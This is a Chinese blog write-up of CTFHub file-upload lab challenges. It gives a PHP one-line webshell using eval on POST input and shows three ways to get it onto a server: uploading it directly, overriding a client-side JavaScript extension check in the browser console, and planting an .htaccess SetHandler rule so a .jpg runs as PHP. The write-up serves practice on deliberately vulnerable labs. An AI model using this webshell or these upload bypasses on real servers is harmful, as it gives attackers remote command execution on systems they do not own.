[题型总结 & CTFHub]上传文件
原理
通过一些手段绕过拦截验证机制上传一句话木马文件(Webshell)到目标服务器并且能成功访问它,然后向其发送请求执行我们要执行的命令.
条件
- 能够将木马成功上传到目标服务器
 - 能够找到上传的木马文件,并成功访问
 - 一句话木马中的函数能够成功运行
 
一句话木马示例
以PHP为例: <?php @eval($_POST("shell")); ?> (@的作用是不显示错误信息,以免被人发现)
CTFHub技能树中例题
无验证
直接上传一句话木马即可

bebebe
访问该文件并通过POST请求发送命令

经过列出目录命令发现在../里有flag_301433253.php文件
通过show_source()函数输出flag_301433253.php的内容获取flag

后面几个例题就主要说说怎么绕过验证
前端验证
打开题目所给链接,查看元素发现以下javascript代码:
1  | function checkfilesuffix()  | 
这段函数的作用是判断文件后缀名是否为.jpg .png .gif , 不是的话返回false上传失败. 不过好在这个验证程序是写在前端的,我们可以在前端直接对这段函数进行操作.
我们将这段函数中 alert("该文件不允许上传"); 后的return false; 改成return true; ,然后复制修改过后的函数到控制台回车运行,如图:

然后上传我们的一句话木马,在弹出”该文件不允许上传”后又会弹出”上传成功”.
.htaccess
打开题目所给链接,查看元素发现以下被注释掉的javascript代码,根据题目猜想是目标服务器通过.htaccess实现了下列函数的功能
1  | <!--  | 
函数功能是判断文件后缀名是否在黑名单中,在就输出”文件类型不匹配”.
做这道题我们首先要了解Apache的Sethandler指令 ,将其写入到.htaccess文件里可以将匹配到的文件强制使用另一种处理程序处理. 简单来说就是可以把一种文件强制当作另一种文件. 例如本题将使用的绕过代码:
1  | <FilesMatch "shell.jpg">  | 
这段代码放进.htaccess中可将shell.jpg这个文件当作php文件处理.
好了,接下来让我们进行绕过工作
- 将写好的PHP一句话木马的后缀名改成JPG或者其他允许的文件类型
 - 创建一个.htaccess的文件(因为Windows不允许创建名字为空的文件,因此具体创建方法可以自行到网上搜索),将以上绕过代码填入其中,保存并上传,因为黑名单中没有.htaccess,可以直接上传.
 - 最后直接访问http://xxxxx.com/upload/shell.jpg老套路即可(链接及文件名根据自己情况修改)
 
目前先写到这,还有几道题有时间再写^ ^
- 标题: [题型总结 & CTFHub]上传文件
 - 作者: Thou
 - 创建于 : 2021-10-05 21:20:05
 - 更新于 : 2024-12-19 15:27:27
 - 链接: https://blog.txgde.space/2021/10/05/题型总结-ctfhub上传文件/
 - 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。